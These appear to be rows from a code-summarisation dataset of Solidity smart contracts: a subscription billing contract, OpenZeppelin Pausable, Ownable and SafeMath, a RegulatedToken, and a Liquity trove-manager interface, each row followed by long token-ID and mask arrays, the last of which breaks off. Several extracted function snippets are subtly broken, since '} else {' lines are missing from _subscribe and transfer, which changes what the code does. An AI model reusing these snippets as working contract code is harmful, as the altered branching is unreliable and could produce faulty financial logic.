function subscribe(address _subscriber) external payable whenNotPaused {
require(minBillingCost <= msg.value, "Ether value sent is not correct");
require(_subscriber != address(0), "Invalid address");
// Subscribe
_subscribe(_subscriber, msg.value);
}
function _subscribe(address _subscriber, uint256 _cost) internal {
uint256 startDate;
uint256 billingCycle = _cost >= maxBillingCost ? maxBillingCycle : _cost.div(minBillingCost).mul(minBillingCycle);
if (_billEndDate[_subscriber] == 0 || block.timestamp >= _billEndDate[_subscriber]) {
// for new subscriber or expired subscription
startDate = block.timestamp;
_billEndDate[_subscriber] = billingCycle.add(startDate);
} else {
// regualr subscription
startDate = _billStartDate[_subscriber];
_billEndDate[_subscriber] = billingCycle.add(_billEndDate[_subscriber]);
}
_billStartDate[_subscriber] = startDate;
emit Subscribed(_subscriber, startDate, _billEndDate[_subscriber]);
}
function withdraw() external onlyOwner {
payable(wallet).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | for new subscriber or expired subscription regualr subscription | function _subscribe(address _subscriber, uint256 _cost) internal {
uint256 startDate;
uint256 billingCycle = _cost >= maxBillingCost ? maxBillingCycle : _cost.div(minBillingCost).mul(minBillingCycle);
if (_billEndDate[_subscriber] == 0 || block.timestamp >= _billEndDate[_subscriber]) {
startDate = block.timestamp;
_billEndDate[_subscriber] = billingCycle.add(startDate);
startDate = _billStartDate[_subscriber];
_billEndDate[_subscriber] = billingCycle.add(_billEndDate[_subscriber]);
}
_billStartDate[_subscriber] = startDate;
emit Subscribed(_subscriber, startDate, _billEndDate[_subscriber]);
}
| 10,269,596 | [
1,
1884,
394,
9467,
578,
7708,
4915,
960,
1462,
86,
4915,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
9174,
12,
2867,
389,
26410,
16,
2254,
5034,
389,
12398,
13,
2713,
288,
203,
3639,
2254,
5034,
12572,
31,
203,
3639,
2254,
5034,
10709,
13279,
273,
389,
12398,
1545,
943,
13105,
8018,
692,
943,
13105,
13279,
294,
389,
12398,
18,
2892,
12,
1154,
13105,
8018,
2934,
16411,
12,
1154,
13105,
13279,
1769,
203,
203,
3639,
309,
261,
67,
17240,
24640,
63,
67,
26410,
65,
422,
374,
747,
1203,
18,
5508,
1545,
389,
17240,
24640,
63,
67,
26410,
5717,
288,
203,
5411,
12572,
273,
1203,
18,
5508,
31,
203,
5411,
389,
17240,
24640,
63,
67,
26410,
65,
273,
10709,
13279,
18,
1289,
12,
1937,
1626,
1769,
203,
5411,
12572,
273,
389,
17240,
22635,
63,
67,
26410,
15533,
203,
5411,
389,
17240,
24640,
63,
67,
26410,
65,
273,
10709,
13279,
18,
1289,
24899,
17240,
24640,
63,
67,
26410,
19226,
203,
3639,
289,
203,
203,
3639,
389,
17240,
22635,
63,
67,
26410,
65,
273,
12572,
31,
203,
203,
3639,
3626,
2592,
15802,
24899,
26410,
16,
12572,
16,
389,
17240,
24640,
63,
67,
26410,
19226,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
Copyright (c) 2017 Harbor Platform, Inc.
Licensed under the Apache License, Version 2.0 (the “License”);
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an “AS IS” BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.0;
import "openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol";
import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol";
import "./ServiceRegistry.sol";
import "./RegulatorService.sol";
/// @notice An ERC-20 token that has the ability to check for trade validity
contract RegulatedToken is IERC20, ERC20, ERC20Detailed, ERC20Mintable {
constructor (ServiceRegistry _registry, string memory _name, string memory _symbol) ERC20Detailed(_name, _symbol, RTOKEN_DECIMALS) ERC20() public {
registry = _registry;
}
/**
* @notice R-Token decimals setting (used when constructing )
*/
uint8 constant public RTOKEN_DECIMALS = 18;
/**
* @notice Triggered when regulator checks pass or fail
*/
event CheckStatus(uint8 reason, address indexed spender, address indexed from, address indexed to, uint256 value);
/**
* @notice Address of the `ServiceRegistry` that has the location of the
* `RegulatorService` contract responsible for checking trade
* permissions.
*/
ServiceRegistry public registry;
/**
* @notice ERC-20 overridden function that include logic to check for trade validity.
*
* @param _to The address of the receiver
* @param _value The number of tokens to transfer
*
* @return `true` if successful and `false` if unsuccessful
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (_check(msg.sender, _to, _value)) {
return super.transfer(_to, _value);
} else {
return false;
}
}
/**
* @notice ERC-20 overridden function that include logic to check for trade validity.
*
* @param _from The address of the sender
* @param _to The address of the receiver
* @param _value The number of tokens to transfer
*
* @return `true` if successful and `false` if unsuccessful
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (_check(_from, _to, _value)) {
return super.transferFrom(_from, _to, _value);
} else {
return false;
}
}
/**
* @notice Performs the regulator check
*
* @dev This method raises a CheckStatus event indicating success or failure of the check
*
* @param _from The address of the sender
* @param _to The address of the receiver
* @param _value The number of tokens to transfer
*
* @return `true` if the check was successful and `false` if unsuccessful
*/
function _check(address _from, address _to, uint256 _value) private returns (bool) {
uint8 reason = _service().check(address(this), msg.sender, _from, _to, _value);
emit CheckStatus(reason, msg.sender, _from, _to, _value);
return reason == 0;
}
/**
* @notice Retreives the address of the `RegulatorService` that manages this token.
*
* @dev This function *MUST NOT* memoize the `RegulatorService` address. This would
* break the ability to upgrade the `RegulatorService`.
*
* @return The `RegulatorService` that manages this token.
*/
function _service() view public returns (RegulatorService) {
return RegulatorService(registry.service());
}
}
| * @notice ERC-20 overridden function that include logic to check for trade validity. @param _to The address of the receiver @param _value The number of tokens to transfer @return `true` if successful and `false` if unsuccessful/ | function transfer(address _to, uint256 _value) public returns (bool) {
if (_check(msg.sender, _to, _value)) {
return super.transfer(_to, _value);
return false;
}
}
| 14,048,416 | [
1,
654,
39,
17,
3462,
11000,
445,
716,
2341,
4058,
358,
866,
364,
18542,
13800,
18,
225,
389,
869,
1021,
1758,
434,
326,
5971,
225,
389,
1132,
1021,
1300,
434,
2430,
358,
7412,
327,
1375,
3767,
68,
309,
6873,
471,
1375,
5743,
68,
309,
29411,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
309,
261,
67,
1893,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
3719,
288,
203,
5411,
327,
2240,
18,
13866,
24899,
869,
16,
389,
1132,
1769,
203,
5411,
327,
629,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
// Common interface for the Trove Manager.
interface ITroveManager {
// --- Events ---
event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress);
event PriceFeedAddressChanged(address _newPriceFeedAddress);
event LUSDTokenAddressChanged(address _newLUSDTokenAddress);
event ActivePoolAddressChanged(address _activePoolAddress);
event DefaultPoolAddressChanged(address _defaultPoolAddress);
event StabilityPoolAddressChanged(address _stabilityPoolAddress);
event GasPoolAddressChanged(address _gasPoolAddress);
event CollSurplusPoolAddressChanged(address _collSurplusPoolAddress);
event SortedTrovesAddressChanged(address _sortedTrovesAddress);
event LQTYTokenAddressChanged(address _lqtyTokenAddress);
event LQTYStakingAddressChanged(address _lqtyStakingAddress);
event Liquidation(uint _liquidatedDebt, uint _liquidatedColl, uint _collGasCompensation, uint _LUSDGasCompensation);
event Redemption(uint _attemptedLUSDAmount, uint _actualLUSDAmount, uint _ETHSent, uint _ETHFee);
event TroveUpdated(address indexed _borrower, uint _debt, uint _coll, uint stake, uint8 operation);
event TroveLiquidated(address indexed _borrower, uint _debt, uint _coll, uint8 operation);
event BaseRateUpdated(uint _baseRate);
event LastFeeOpTimeUpdated(uint _lastFeeOpTime);
event TotalStakesUpdated(uint _newTotalStakes);
event SystemSnapshotsUpdated(uint _totalStakesSnapshot, uint _totalCollateralSnapshot);
event LTermsUpdated(uint _L_ETH, uint _L_LUSDDebt);
event TroveSnapshotsUpdated(uint _L_ETH, uint _L_LUSDDebt);
event TroveIndexUpdated(address _borrower, uint _newIndex);
function getTroveOwnersCount() external view returns (uint);
function getTroveFromTroveOwnersArray(uint _index) external view returns (address);
function getNominalICR(address _borrower) external view returns (uint);
function getCurrentICR(address _borrower, uint _price) external view returns (uint);
function liquidate(address _borrower) external;
function liquidateTroves(uint _n) external;
function batchLiquidateTroves(address[] calldata _troveArray) external;
function redeemCollateral(
uint _LUSDAmount,
address _firstRedemptionHint,
address _upperPartialRedemptionHint,
address _lowerPartialRedemptionHint,
uint _partialRedemptionHintNICR,
uint _maxIterations,
uint _maxFee
) external;
function updateStakeAndTotalStakes(address _borrower) external returns (uint);
function updateTroveRewardSnapshots(address _borrower) external;
function addTroveOwnerToArray(address _borrower) external returns (uint index);
function applyPendingRewards(address _borrower) external;
function getPendingETHReward(address _borrower) external view returns (uint);
function getPendingLUSDDebtReward(address _borrower) external view returns (uint);
function hasPendingRewards(address _borrower) external view returns (bool);
function getEntireDebtAndColl(address _borrower) external view returns (
uint debt,
uint coll,
uint pendingLUSDDebtReward,
uint pendingETHReward
);
function closeTrove(address _borrower) external;
function removeStake(address _borrower) external;
function getRedemptionRate() external view returns (uint);
function getRedemptionRateWithDecay() external view returns (uint);
function getRedemptionFeeWithDecay(uint _ETHDrawn) external view returns (uint);
function getBorrowingRate() external view returns (uint);
function getBorrowingRateWithDecay() external view returns (uint);
function getBorrowingFee(uint LUSDDebt) external view returns (uint);
function getBorrowingFeeWithDecay(uint _LUSDDebt) external view returns (uint);
function decayBaseRateFromBorrowing() external;
function getTroveStatus(address _borrower) external view returns (uint);
function getTroveStake(address _borrower) external view returns (uint);
function getTroveDebt(address _borrower) external view returns (uint);
function getTroveColl(address _borrower) external view returns (uint);
function setTroveStatus(address _borrower, uint num) external;
function increaseTroveColl(address _borrower, uint _collIncrease) external returns (uint);
function decreaseTroveColl(address _borrower, uint _collDecrease) external returns (uint);
function increaseTroveDebt(address _borrower, uint _debtIncrease) external returns (uint);
function decreaseTroveDebt(address _borrower, uint _collDecrease) external returns (uint);
function getTCR(uint _price) external view returns (uint);
function checkRecoveryMode(uint _price) external view returns (bool);
}
| Common interface for the Trove Manager. --- Events --- | interface ITroveManager {
event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress);
event PriceFeedAddressChanged(address _newPriceFeedAddress);
event LUSDTokenAddressChanged(address _newLUSDTokenAddress);
event ActivePoolAddressChanged(address _activePoolAddress);
event DefaultPoolAddressChanged(address _defaultPoolAddress);
event StabilityPoolAddressChanged(address _stabilityPoolAddress);
event GasPoolAddressChanged(address _gasPoolAddress);
event CollSurplusPoolAddressChanged(address _collSurplusPoolAddress);
event SortedTrovesAddressChanged(address _sortedTrovesAddress);
event LQTYTokenAddressChanged(address _lqtyTokenAddress);
event LQTYStakingAddressChanged(address _lqtyStakingAddress);
event Liquidation(uint _liquidatedDebt, uint _liquidatedColl, uint _collGasCompensation, uint _LUSDGasCompensation);
event Redemption(uint _attemptedLUSDAmount, uint _actualLUSDAmount, uint _ETHSent, uint _ETHFee);
event TroveUpdated(address indexed _borrower, uint _debt, uint _coll, uint stake, uint8 operation);
event TroveLiquidated(address indexed _borrower, uint _debt, uint _coll, uint8 operation);
event BaseRateUpdated(uint _baseRate);
event LastFeeOpTimeUpdated(uint _lastFeeOpTime);
event TotalStakesUpdated(uint _newTotalStakes);
event SystemSnapshotsUpdated(uint _totalStakesSnapshot, uint _totalCollateralSnapshot);
event LTermsUpdated(uint _L_ETH, uint _L_LUSDDebt);
event TroveSnapshotsUpdated(uint _L_ETH, uint _L_LUSDDebt);
event TroveIndexUpdated(address _borrower, uint _newIndex);
function getTroveOwnersCount() external view returns (uint);
function getTroveFromTroveOwnersArray(uint _index) external view returns (address);
function getNominalICR(address _borrower) external view returns (uint);
function getCurrentICR(address _borrower, uint _price) external view returns (uint);
function liquidate(address _borrower) external;
function liquidateTroves(uint _n) external;
function batchLiquidateTroves(address[] calldata _troveArray) external;
function redeemCollateral(
uint _LUSDAmount,
address _firstRedemptionHint,
address _upperPartialRedemptionHint,
address _lowerPartialRedemptionHint,
uint _partialRedemptionHintNICR,
uint _maxIterations,
uint _maxFee
) external;
function updateStakeAndTotalStakes(address _borrower) external returns (uint);
function updateTroveRewardSnapshots(address _borrower) external;
function addTroveOwnerToArray(address _borrower) external returns (uint index);
function applyPendingRewards(address _borrower) external;
function getPendingETHReward(address _borrower) external view returns (uint);
function getPendingLUSDDebtReward(address _borrower) external view returns (uint);
function hasPendingRewards(address _borrower) external view returns (bool);
function getEntireDebtAndColl(address _borrower) external view returns (
uint debt,
uint coll,
uint pendingLUSDDebtReward,
uint pendingETHReward
);
function closeTrove(address _borrower) external;
function removeStake(address _borrower) external;
function getRedemptionRate() external view returns (uint);
function getRedemptionRateWithDecay() external view returns (uint);
function getRedemptionFeeWithDecay(uint _ETHDrawn) external view returns (uint);
function getBorrowingRate() external view returns (uint);
function getBorrowingRateWithDecay() external view returns (uint);
function getBorrowingFee(uint LUSDDebt) external view returns (uint);
function getBorrowingFeeWithDecay(uint _LUSDDebt) external view returns (uint);
function decayBaseRateFromBorrowing() external;
function getTroveStatus(address _borrower) external view returns (uint);
function getTroveStake(address _borrower) external view returns (uint);
function getTroveDebt(address _borrower) external view returns (uint);
function getTroveColl(address _borrower) external view returns (uint);
function setTroveStatus(address _borrower, uint num) external;
function increaseTroveColl(address _borrower, uint _collIncrease) external returns (uint);
function decreaseTroveColl(address _borrower, uint _collDecrease) external returns (uint);
function increaseTroveDebt(address _borrower, uint _debtIncrease) external returns (uint);
function decreaseTroveDebt(address _borrower, uint _collDecrease) external returns (uint);
function getTCR(uint _price) external view returns (uint);
function checkRecoveryMode(uint _price) external view returns (bool);
}
| 6,361,967 | [
1,
6517,
1560,
364,
326,
399,
303,
537,
8558,
18,
9948,
9043,
9948,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
24142,
303,
537,
1318,
288,
203,
377,
203,
203,
565,
871,
605,
15318,
264,
9343,
1887,
5033,
12,
2867,
389,
2704,
38,
15318,
264,
9343,
1887,
1769,
203,
565,
871,
